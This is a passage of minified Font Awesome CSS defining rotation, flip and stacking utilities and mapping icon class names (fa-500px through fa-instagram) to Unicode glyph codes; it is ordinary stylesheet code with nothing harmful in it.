fa-spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";transform:scaleX(-1)}.fa-flip-vertical{transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-airbnb:before{content:"\f834"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angry:before{content:"\f556"}.fa-angrycreative:before{content:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1"}.fa-apple-pay:before{content:"\f415"}.fa-archive:before{content:"\f187"}.fa-archway:before{content:"\f557"}.fa-arrow-alt-circle-down:before{content:"\f358"}.fa-arrow-alt-circle-left:before{content:"\f359"}.fa-arrow-alt-circle-right:before{content:"\f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0b2"}.fa-arrows-alt-h:before{content:"\f337"}.fa-arrows-alt-v:before{content:"\f338"}.fa-artstation:before{content:"\f77a"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asterisk:before{content:"\f069"}.fa-asymmetrik:before{content:"\f372"}.fa-at:before{content:"\f1fa"}.fa-atlas:before{content:"\f558"}.fa-atlassian:before{content:"\f77b"}.fa-atom:before{content:"\f5d2"}.fa-audible:before{content:"\f373"}.fa-audio-description:before{content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before{content:"\f77d"}.fa-backspace:before{content:"\f55a"}.fa-backward:before{content:"\f04a"}.fa-bacon:before{content:"\f7e5"}.fa-bacteria:before{content:"\e059"}.fa-bacterium:before{content:"\e05a"}.fa-bahai:before{content:"\f666"}.fa-balance-scale:before{content:"\f24e"}.fa-balance-scale-left:before{content:"\f515"}.fa-balance-scale-right:before{content:"\f516"}.fa-ban:before{content:"\f05e"}.fa-band-aid:before{content:"\f462"}.fa-bandcamp:before{content:"\f2d5"}.fa-barcode:before{content:"\f02a"}.fa-bars:before{content:"\f0c9"}.fa-baseball-ball:before{content:"\f433"}.fa-basketball-ball:before{content:"\f434"}.fa-bath:before{content:"\f2cd"}.fa-battery-empty:before{content:"\f244"}.fa-battery-full:before{content:"\f240"}.fa-battery-half:before{content:"\f242"}.fa-battery-quarter:before{content:"\f243"}.fa-battery-three-quarters:before{content:"\f241"}.fa-battle-net:before{content:"\f835"}.fa-bed:before{content:"\f236"}.fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{content:"\f1f6"}.fa-bezier-curve:before{content:"\f55b"}.fa-bible:before{content:"\f647"}.fa-bicycle:before{content:"\f206"}.fa-biking:before{content:"\f84a"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-biohazard:before{content:"\f780"}.fa-birthday-cake:before{content:"\f1fd"}.fa-bitbucket:before{content:"\f171"}.fa-bitcoin:before{content:"\f379"}.fa-bity:before{content:"\f37a"}.fa-black-tie:before{content:"\f27e"}.fa-blackberry:before{content:"\f37b"}.fa-blender:before{content:"\f517"}.fa-blender-phone:before{content:"\f6b6"}.fa-blind:before{content:"\f29d"}.fa-blog:before{content:"\f781"}.fa-blogger:before{content:"\f37c"}.fa-blogger-b:before{content:"\f37d"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-bold:before{content:"\f032"}.fa-bolt:before{content:"\f0e7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bong:before{content:"\f55c"}.fa-book:before{content:"\f02d"}.fa-book-dead:before{content:"\f6b7"}.fa-book-medical:before{content:"\f7e6"}.fa-book-open:before{content:"\f518"}.fa-book-reader:before{content:"\f5da"}.fa-bookmark:before{content:"\f02e"}.fa-bootstrap:before{content:"\f836"}.fa-border-all:before{content:"\f84c"}.fa-border-none:before{content:"\f850"}.fa-border-style:before{content:"\f853"}.fa-bowling-ball:before{content:"\f436"}.fa-box:before{content:"\f466"}.fa-box-open:before{content:"\f49e"}.fa-box-tissue:before{content:"\e05b"}.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-bread-slice:before{content:"\f7ec"}.fa-briefcase:before{content:"\f0b1"}.fa-briefcase-medical:before{content:"\f469"}.fa-broadcast-tower:before{content:"\f519"}.fa-broom:before{content:"\f51a"}.fa-brush:before{content:"\f55d"}.fa-btc:before{content:"\f15a"}.fa-buffer:before{content:"\f837"}.fa-bug:before{content:"\f188"}.fa-building:before{content:"\f1ad"}.fa-bullhorn:before{content:"\f0a1"}.fa-bullseye:before{content:"\f140"}.fa-burn:before{content:"\f46a"}.fa-buromobelexperte:before{content:"\f37f"}.fa-bus:before{content:"\f207"}.fa-bus-alt:before{content:"\f55e"}.fa-business-time:before{content:"\f64a"}.fa-buy-n-large:before{content:"\f8a6"}.fa-buysellads:before{content:"\f20d"}.fa-calculator:before{content:"\f1ec"}.fa-calendar:before{content:"\f133"}.fa-calendar-alt:before{content:"\f073"}.fa-calendar-check:before{content:"\f274"}.fa-calendar-day:before{content:"\f783"}.fa-calendar-minus:before{content:"\f272"}.fa-calendar-plus:before{content:"\f271"}.fa-calendar-times:before{content:"\f273"}.fa-calendar-week:before{content:"\f784"}.fa-camera:before{content:"\f030"}.fa-camera-retro:before{content:"\f083"}.fa-campground:before{content:"\f6bb"}.fa-canadian-maple-leaf:before{content:"\f785"}.fa-candy-cane:before{content:"\f786"}.fa-cannabis:before{content:"\f55f"}.fa-capsules:before{content:"\f46b"}.fa-car:before{content:"\f1b9"}.fa-car-alt:before{content:"\f5de"}.fa-car-battery:before{content:"\f5df"}.fa-car-crash:before{content:"\f5e1"}.fa-car-side:before{content:"\f5e4"}.fa-caravan:before{content:"\f8ff"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-caret-square-down:before{content:"\f150"}.fa-caret-square-left:before{content:"\f191"}.fa-caret-square-right:before{content:"\f152"}.fa-caret-square-up:before{content:"\f151"}.fa-caret-up:before{content:"\f0d8"}.fa-carrot:before{content:"\f787"}.fa-cart-arrow-down:before{content:"\f218"}.fa-cart-plus:before{content:"\f217"}.fa-cash-register:before{content:"\f788"}.fa-cat:before{content:"\f6be"}.fa-cc-amazon-pay:before{content:"\f42d"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-apple-pay:before{content:"\f416"}.fa-cc-diners-club:before{content:"\f24c"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-cc-visa:before{content:"\f1f0"}.fa-centercode:before{content:"\f380"}.fa-centos:before{content:"\f789"}.fa-certificate:before{content:"\f0a3"}.fa-chair:before{content:"\f6c0"}.fa-chalkboard:before{content:"\f51b"}.fa-chalkboard-teacher:before{content:"\f51c"}.fa-charging-station:before{content:"\f5e7"}.fa-chart-area:before{content:"\f1fe"}.fa-chart-bar:before{content:"\f080"}.fa-chart-line:before{content:"\f201"}.fa-chart-pie:before{content:"\f200"}.fa-check:before{content:"\f00c"}.fa-check-circle:before{content:"\f058"}.fa-check-double:before{content:"\f560"}.fa-check-square:before{content:"\f14a"}.fa-cheese:before{content:"\f7ef"}.fa-chess:before{content:"\f439"}.fa-chess-bishop:before{content:"\f43a"}.fa-chess-board:before{content:"\f43c"}.fa-chess-king:before{content:"\f43f"}.fa-chess-knight:before{content:"\f441"}.fa-chess-pawn:before{content:"\f443"}.fa-chess-queen:before{content:"\f445"}.fa-chess-rook:before{content:"\f447"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-down:before{content:"\f078"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-chevron-up:before{content:"\f077"}.fa-child:before{content:"\f1ae"}.fa-chrome:before{content:"\f268"}.fa-chromecast:before{content:"\f838"}.fa-church:before{content:"\f51d"}.fa-circle:before{content:"\f111"}.fa-circle-notch:before{content:"\f1ce"}.fa-city:before{content:"\f64f"}.fa-clinic-medical:before{content:"\f7f2"}.fa-clipboard:before{content:"\f328"}.fa-clipboard-check:before{content:"\f46c"}.fa-clipboard-list:before{content:"\f46d"}.fa-clock:before{content:"\f017"}.fa-clone:before{content:"\f24d"}.fa-closed-captioning:before{content:"\f20a"}.fa-cloud:before{content:"\f0c2"}.fa-cloud-download-alt:before{content:"\f381"}.fa-cloud-meatball:before{content:"\f73b"}.fa-cloud-moon:before{content:"\f6c3"}.fa-cloud-moon-rain:before{content:"\f73c"}.fa-cloud-rain:before{content:"\f73d"}.fa-cloud-showers-heavy:before{content:"\f740"}.fa-cloud-sun:before{content:"\f6c4"}.fa-cloud-sun-rain:before{content:"\f743"}.fa-cloud-upload-alt:before{content:"\f382"}.fa-cloudflare:before{content:"\e07d"}.fa-cloudscale:before{content:"\f383"}.fa-cloudsmith:before{content:"\f384"}.fa-cloudversify:before{content:"\f385"}.fa-cocktail:before{content:"\f561"}.fa-code:before{content:"\f121"}.fa-code-branch:before{content:"\f126"}.fa-codepen:before{content:"\f1cb"}.fa-codiepie:before{content:"\f284"}.fa-coffee:before{content:"\f0f4"}.fa-cog:before{content:"\f013"}.fa-cogs:before{content:"\f085"}.fa-coins:before{content:"\f51e"}.fa-columns:before{content:"\f0db"}.fa-comment:before{content:"\f075"}.fa-comment-alt:before{content:"\f27a"}.fa-comment-dollar:before{content:"\f651"}.fa-comment-dots:before{content:"\f4ad"}.fa-comment-medical:before{content:"\f7f5"}.fa-comment-slash:before{content:"\f4b3"}.fa-comments:before{content:"\f086"}.fa-comments-dollar:before{content:"\f653"}.fa-compact-disc:before{content:"\f51f"}.fa-compass:before{content:"\f14e"}.fa-compress:before{content:"\f066"}.fa-compress-alt:before{content:"\f422"}.fa-compress-arrows-alt:before{content:"\f78c"}.fa-concierge-bell:before{content:"\f562"}.fa-confluence:before{content:"\f78d"}.fa-connectdevelop:before{content:"\f20e"}.fa-contao:before{content:"\f26d"}.fa-cookie:before{content:"\f563"}.fa-cookie-bite:before{content:"\f564"}.fa-copy:before{content:"\f0c5"}.fa-copyright:before{content:"\f1f9"}.fa-cotton-bureau:before{content:"\f89e"}.fa-couch:before{content:"\f4b8"}.fa-cpanel:before{content:"\f388"}.fa-creative-commons:before{content:"\f25e"}.fa-creative-commons-by:before{content:"\f4e7"}.fa-creative-commons-nc:before{content:"\f4e8"}.fa-creative-commons-nc-eu:before{content:"\f4e9"}.fa-creative-commons-nc-jp:before{content:"\f4ea"}.fa-creative-commons-nd:before{content:"\f4eb"}.fa-creative-commons-pd:before{content:"\f4ec"}.fa-creative-commons-pd-alt:before{content:"\f4ed"}.fa-creative-commons-remix:before{content:"\f4ee"}.fa-creative-commons-sa:before{content:"\f4ef"}.fa-creative-commons-sampling:before{content:"\f4f0"}.fa-creative-commons-sampling-plus:before{content:"\f4f1"}.fa-creative-commons-share:before{content:"\f4f2"}.fa-creative-commons-zero:before{content:"\f4f3"}.fa-credit-card:before{content:"\f09d"}.fa-critical-role:before{content:"\f6c9"}.fa-crop:before{content:"\f125"}.fa-crop-alt:before{content:"\f565"}.fa-cross:before{content:"\f654"}.fa-crosshairs:before{content:"\f05b"}.fa-crow:before{content:"\f520"}.fa-crown:before{content:"\f521"}.fa-crutch:before{content:"\f7f7"}.fa-css3:before{content:"\f13c"}.fa-css3-alt:before{content:"\f38b"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-cut:before{content:"\f0c4"}.fa-cuttlefish:before{content:"\f38c"}.fa-d-and-d:before{content:"\f38d"}.fa-d-and-d-beyond:before{content:"\f6ca"}.fa-dailymotion:before{content:"\e052"}.fa-dashcube:before{content:"\f210"}.fa-database:before{content:"\f1c0"}.fa-deaf:before{content:"\f2a4"}.fa-deezer:before{content:"\e077"}.fa-delicious:before{content:"\f1a5"}.fa-democrat:before{content:"\f747"}.fa-deploydog:before{content:"\f38e"}.fa-deskpro:before{content:"\f38f"}.fa-desktop:before{content:"\f108"}.fa-dev:before{content:"\f6cc"}.fa-deviantart:before{content:"\f1bd"}.fa-dharmachakra:before{content:"\f655"}.fa-dhl:before{content:"\f790"}.fa-diagnoses:before{content:"\f470"}.fa-diaspora:before{content:"\f791"}.fa-dice:before{content:"\f522"}.fa-dice-d20:before{content:"\f6cf"}.fa-dice-d6:before{content:"\f6d1"}.fa-dice-five:before{content:"\f523"}.fa-dice-four:before{content:"\f524"}.fa-dice-one:before{content:"\f525"}.fa-dice-six:before{content:"\f526"}.fa-dice-three:before{content:"\f527"}.fa-dice-two:before{content:"\f528"}.fa-digg:before{content:"\f1a6"}.fa-digital-ocean:before{content:"\f391"}.fa-digital-tachograph:before{content:"\f566"}.fa-directions:before{content:"\f5eb"}.fa-discord:before{content:"\f392"}.fa-discourse:before{content:"\f393"}.fa-disease:before{content:"\f7fa"}.fa-divide:before{content:"\f529"}.fa-dizzy:before{content:"\f567"}.fa-dna:before{content:"\f471"}.fa-dochub:before{content:"\f394"}.fa-docker:before{content:"\f395"}.fa-dog:before{content:"\f6d3"}.fa-dollar-sign:before{content:"\f155"}.fa-dolly:before{content:"\f472"}.fa-dolly-flatbed:before{content:"\f474"}.fa-donate:before{content:"\f4b9"}.fa-door-closed:before{content:"\f52a"}.fa-door-open:before{content:"\f52b"}.fa-dot-circle:before{content:"\f192"}.fa-dove:before{content:"\f4ba"}.fa-download:before{content:"\f019"}.fa-draft2digital:before{content:"\f396"}.fa-drafting-compass:before{content:"\f568"}.fa-dragon:before{content:"\f6d5"}.fa-draw-polygon:before{content:"\f5ee"}.fa-dribbble:before{content:"\f17d"}.fa-dribbble-square:before{content:"\f397"}.fa-dropbox:before{content:"\f16b"}.fa-drum:before{content:"\f569"}.fa-drum-steelpan:before{content:"\f56a"}.fa-drumstick-bite:before{content:"\f6d7"}.fa-drupal:before{content:"\f1a9"}.fa-dumbbell:before{content:"\f44b"}.fa-dumpster:before{content:"\f793"}.fa-dumpster-fire:before{content:"\f794"}.fa-dungeon:before{content:"\f6d9"}.fa-dyalog:before{content:"\f399"}.fa-earlybirds:before{content:"\f39a"}.fa-ebay:before{content:"\f4f4"}.fa-edge:before{content:"\f282"}.fa-edge-legacy:before{content:"\e078"}.fa-edit:before{content:"\f044"}.fa-egg:before{content:"\f7fb"}.fa-eject:before{content:"\f052"}.fa-elementor:before{content:"\f430"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-ello:before{content:"\f5f1"}.fa-ember:before{content:"\f423"}.fa-empire:before{content:"\f1d1"}.fa-envelope:before{content:"\f0e0"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-text:before{content:"\f658"}.fa-envelope-square:before{content:"\f199"}.fa-envira:before{content:"\f299"}.fa-equals:before{content:"\f52c"}.fa-eraser:before{content:"\f12d"}.fa-erlang:before{content:"\f39d"}.fa-ethereum:before{content:"\f42e"}.fa-ethernet:before{content:"\f796"}.fa-etsy:before{content:"\f2d7"}.fa-euro-sign:before{content:"\f153"}.fa-evernote:before{content:"\f839"}.fa-exchange-alt:before{content:"\f362"}.fa-exclamation:before{content:"\f12a"}.fa-exclamation-circle:before{content:"\f06a"}.fa-exclamation-triangle:before{content:"\f071"}.fa-expand:before{content:"\f065"}.fa-expand-alt:before{content:"\f424"}.fa-expand-arrows-alt:before{content:"\f31e"}.fa-expeditedssl:before{content:"\f23e"}.fa-external-link-alt:before{content:"\f35d"}.fa-external-link-square-alt:before{content:"\f360"}.fa-eye:before{content:"\f06e"}.fa-eye-dropper:before{content:"\f1fb"}.fa-eye-slash:before{content:"\f070"}.fa-facebook:before{content:"\f09a"}.fa-facebook-f:before{content:"\f39e"}.fa-facebook-messenger:before{content:"\f39f"}.fa-facebook-square:before{content:"\f082"}.fa-fan:before{content:"\f863"}.fa-fantasy-flight-games:before{content:"\f6dc"}.fa-fast-backward:before{content:"\f049"}.fa-fast-forward:before{content:"\f050"}.fa-faucet:before{content:"\e005"}.fa-fax:before{content:"\f1ac"}.fa-feather:before{content:"\f52d"}.fa-feather-alt:before{content:"\f56b"}.fa-fedex:before{content:"\f797"}.fa-fedora:before{content:"\f798"}.fa-female:before{content:"\f182"}.fa-fighter-jet:before{content:"\f0fb"}.fa-figma:before{content:"\f799"}.fa-file:before{content:"\f15b"}.fa-file-alt:before{content:"\f15c"}.fa-file-archive:before{content:"\f1c6"}.fa-file-audio:before{content:"\f1c7"}.fa-file-code:before{content:"\f1c9"}.fa-file-contract:before{content:"\f56c"}.fa-file-csv:before{content:"\f6dd"}.fa-file-download:before{content:"\f56d"}.fa-file-excel:before{content:"\f1c3"}.fa-file-export:before{content:"\f56e"}.fa-file-image:before{content:"\f1c5"}.fa-file-import:before{content:"\f56f"}.fa-file-invoice:before{content:"\f570"}.fa-file-invoice-dollar:before{content:"\f571"}.fa-file-medical:before{content:"\f477"}.fa-file-medical-alt:before{content:"\f478"}.fa-file-pdf:before{content:"\f1c1"}.fa-file-powerpoint:before{content:"\f1c4"}.fa-file-prescription:before{content:"\f572"}.fa-file-signature:before{content:"\f573"}.fa-file-upload:before{content:"\f574"}.fa-file-video:before{content:"\f1c8"}.fa-file-word:before{content:"\f1c2"}.fa-fill:before{content:"\f575"}.fa-fill-drip:before{content:"\f576"}.fa-film:before{content:"\f008"}.fa-filter:before{content:"\f0b0"}.fa-fingerprint:before{content:"\f577"}.fa-fire:before{content:"\f06d"}.fa-fire-alt:before{content:"\f7e4"}.fa-fire-extinguisher:before{content:"\f134"}.fa-firefox:before{content:"\f269"}.fa-firefox-browser:before{content:"\e007"}.fa-first-aid:before{content:"\f479"}.fa-first-order:before{content:"\f2b0"}.fa-first-order-alt:before{content:"\f50a"}.fa-firstdraft:before{content:"\f3a1"}.fa-fish:before{content:"\f578"}.fa-fist-raised:before{content:"\f6de"}.fa-flag:before{content:"\f024"}.fa-flag-checkered:before{content:"\f11e"}.fa-flag-usa:before{content:"\f74d"}.fa-flask:before{content:"\f0c3"}.fa-flickr:before{content:"\f16e"}.fa-flipboard:before{content:"\f44d"}.fa-flushed:before{content:"\f579"}.fa-fly:before{content:"\f417"}.fa-folder:before{content:"\f07b"}.fa-folder-minus:before{content:"\f65d"}.fa-folder-open:before{content:"\f07c"}.fa-folder-plus:before{content:"\f65e"}.fa-font:before{content:"\f031"}.fa-font-awesome:before{content:"\f2b4"}.fa-font-awesome-alt:before{content:"\f35c"}.fa-font-awesome-flag:before{content:"\f425"}.fa-font-awesome-logo-full:before{content:"\f4e6"}.fa-fonticons:before{content:"\f280"}.fa-fonticons-fi:before{content:"\f3a2"}.fa-football-ball:before{content:"\f44e"}.fa-fort-awesome:before{content:"\f286"}.fa-fort-awesome-alt:before{content:"\f3a3"}.fa-forumbee:before{content:"\f211"}.fa-forward:before{content:"\f04e"}.fa-foursquare:before{content:"\f180"}.fa-free-code-camp:before{content:"\f2c5"}.fa-freebsd:before{content:"\f3a4"}.fa-frog:before{content:"\f52e"}.fa-frown:before{content:"\f119"}.fa-frown-open:before{content:"\f57a"}.fa-fulcrum:before{content:"\f50b"}.fa-funnel-dollar:before{content:"\f662"}.fa-futbol:before{content:"\f1e3"}.fa-galactic-republic:before{content:"\f50c"}.fa-galactic-senate:before{content:"\f50d"}.fa-gamepad:before{content:"\f11b"}.fa-gas-pump:before{content:"\f52f"}.fa-gavel:before{content:"\f0e3"}.fa-gem:before{content:"\f3a5"}.fa-genderless:before{content:"\f22d"}.fa-get-pocket:before{content:"\f265"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-ghost:before{content:"\f6e2"}.fa-gift:before{content:"\f06b"}.fa-gifts:before{content:"\f79c"}.fa-git:before{content:"\f1d3"}.fa-git-alt:before{content:"\f841"}.fa-git-square:before{content:"\f1d2"}.fa-github:before{content:"\f09b"}.fa-github-alt:before{content:"\f113"}.fa-github-square:before{content:"\f092"}.fa-gitkraken:before{content:"\f3a6"}.fa-gitlab:before{content:"\f296"}.fa-gitter:before{content:"\f426"}.fa-glass-cheers:before{content:"\f79f"}.fa-glass-martini:before{content:"\f000"}.fa-glass-martini-alt:before{content:"\f57b"}.fa-glass-whiskey:before{content:"\f7a0"}.fa-glasses:before{content:"\f530"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-globe:before{content:"\f0ac"}.fa-globe-africa:before{content:"\f57c"}.fa-globe-americas:before{content:"\f57d"}.fa-globe-asia:before{content:"\f57e"}.fa-globe-europe:before{content:"\f7a2"}.fa-gofore:before{content:"\f3a7"}.fa-golf-ball:before{content:"\f450"}.fa-goodreads:before{content:"\f3a8"}.fa-goodreads-g:before{content:"\f3a9"}.fa-google:before{content:"\f1a0"}.fa-google-drive:before{content:"\f3aa"}.fa-google-pay:before{content:"\e079"}.fa-google-play:before{content:"\f3ab"}.fa-google-plus:before{content:"\f2b3"}.fa-google-plus-g:before{content:"\f0d5"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-wallet:before{content:"\f1ee"}.fa-gopuram:before{content:"\f664"}.fa-graduation-cap:before{content:"\f19d"}.fa-gratipay:before{content:"\f184"}.fa-grav:before{content:"\f2d6"}.fa-greater-than:before{content:"\f531"}.fa-greater-than-equal:before{content:"\f532"}.fa-grimace:before{content:"\f57f"}.fa-grin:before{content:"\f580"}.fa-grin-alt:before{content:"\f581"}.fa-grin-beam:before{content:"\f582"}.fa-grin-beam-sweat:before{content:"\f583"}.fa-grin-hearts:before{content:"\f584"}.fa-grin-squint:before{content:"\f585"}.fa-grin-squint-tears:before{content:"\f586"}.fa-grin-stars:before{content:"\f587"}.fa-grin-tears:before{content:"\f588"}.fa-grin-tongue:before{content:"\f589"}.fa-grin-tongue-squint:before{content:"\f58a"}.fa-grin-tongue-wink:before{content:"\f58b"}.fa-grin-wink:before{content:"\f58c"}.fa-grip-horizontal:before{content:"\f58d"}.fa-grip-lines:before{content:"\f7a4"}.fa-grip-lines-vertical:before{content:"\f7a5"}.fa-grip-vertical:before{content:"\f58e"}.fa-gripfire:before{content:"\f3ac"}.fa-grunt:before{content:"\f3ad"}.fa-guilded:before{content:"\e07e"}.fa-guitar:before{content:"\f7a6"}.fa-gulp:before{content:"\f3ae"}.fa-h-square:before{content:"\f0fd"}.fa-hacker-news:before{content:"\f1d4"}.fa-hacker-news-square:before{content:"\f3af"}.fa-hackerrank:before{content:"\f5f7"}.fa-hamburger:before{content:"\f805"}.fa-hammer:before{content:"\f6e3"}.fa-hamsa:before{content:"\f665"}.fa-hand-holding:before{content:"\f4bd"}.fa-hand-holding-heart:before{content:"\f4be"}.fa-hand-holding-medical:before{content:"\e05c"}.fa-hand-holding-usd:before{content:"\f4c0"}.fa-hand-holding-water:before{content:"\f4c1"}.fa-hand-lizard:before{content:"\f258"}.fa-hand-middle-finger:before{content:"\f806"}.fa-hand-paper:before{content:"\f256"}.fa-hand-peace:before{content:"\f25b"}.fa-hand-point-down:before{content:"\f0a7"}.fa-hand-point-left:before{content:"\f0a5"}.fa-hand-point-right:before{content:"\f0a4"}.fa-hand-point-up:before{content:"\f0a6"}.fa-hand-pointer:before{content:"\f25a"}.fa-hand-rock:before{content:"\f255"}.fa-hand-scissors:before{content:"\f257"}.fa-hand-sparkles:before{content:"\e05d"}.fa-hand-spock:before{content:"\f259"}.fa-hands:before{content:"\f4c2"}.fa-hands-helping:before{content:"\f4c4"}.fa-hands-wash:before{content:"\e05e"}.fa-handshake:before{content:"\f2b5"}.fa-handshake-alt-slash:before{content:"\e05f"}.fa-handshake-slash:before{content:"\e060"}.fa-hanukiah:before{content:"\f6e6"}.fa-hard-hat:before{content:"\f807"}.fa-hashtag:before{content:"\f292"}.fa-hat-cowboy:before{content:"\f8c0"}.fa-hat-cowboy-side:before{content:"\f8c1"}.fa-hat-wizard:before{content:"\f6e8"}.fa-hdd:before{content:"\f0a0"}.fa-head-side-cough:before{content:"\e061"}.fa-head-side-cough-slash:before{content:"\e062"}.fa-head-side-mask:before{content:"\e063"}.fa-head-side-virus:before{content:"\e064"}.fa-heading:before{content:"\f1dc"}.fa-headphones:before{content:"\f025"}.fa-headphones-alt:before{content:"\f58f"}.fa-headset:before{content:"\f590"}.fa-heart:before{content:"\f004"}.fa-heart-broken:before{content:"\f7a9"}.fa-heartbeat:before{content:"\f21e"}.fa-helicopter:before{content:"\f533"}.fa-highlighter:before{content:"\f591"}.fa-hiking:before{content:"\f6ec"}.fa-hippo:before{content:"\f6ed"}.fa-hips:before{content:"\f452"}.fa-hire-a-helper:before{content:"\f3b0"}.fa-history:before{content:"\f1da"}.fa-hive:before{content:"\e07f"}.fa-hockey-puck:before{content:"\f453"}.fa-holly-berry:before{content:"\f7aa"}.fa-home:before{content:"\f015"}.fa-hooli:before{content:"\f427"}.fa-hornbill:before{content:"\f592"}.fa-horse:before{content:"\f6f0"}.fa-horse-head:before{content:"\f7ab"}.fa-hospital:before{content:"\f0f8"}.fa-hospital-alt:before{content:"\f47d"}.fa-hospital-symbol:before{content:"\f47e"}.fa-hospital-user:before{content:"\f80d"}.fa-hot-tub:before{content:"\f593"}.fa-hotdog:before{content:"\f80f"}.fa-hotel:before{content:"\f594"}.fa-hotjar:before{content:"\f3b1"}.fa-hourglass:before{content:"\f254"}.fa-hourglass-end:before{content:"\f253"}.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-start:before{content:"\f251"}.fa-house-damage:before{content:"\f6f1"}.fa-house-user:before{content:"\e065"}.fa-houzz:before{content:"\f27c"}.fa-hryvnia:before{content:"\f6f2"}.fa-html5:before{content:"\f13b"}.fa-hubspot:before{content:"\f3b2"}.fa-i-cursor:before{content:"\f246"}.fa-ice-cream:before{content:"\f810"}.fa-icicles:before{content:"\f7ad"}.fa-icons:before{content:"\f86d"}.fa-id-badge:before{content:"\f2c1"}.fa-id-card:before{content:"\f2c2"}.fa-id-card-alt:before{content:"\f47f"}.fa-ideal:before{content:"\e013"}.fa-igloo:before{content:"\f7ae"}.fa-image:before{content:"\f03e"}.fa-images:before{content:"\f302"}.fa-imdb:before{content:"\f2d8"}.fa-inbox:before{content:"\f01c"}.fa-indent:before{content:"\f03c"}.fa-industry:before{content:"\f275"}.fa-infinity:before{content:"\f534"}.fa-info:before{content:"\f129"}.fa-info-circle:before{content:"\f05a"}.fa-innosoft:before{content:"\e080"}.fa-instagram:before{content:"\f16d"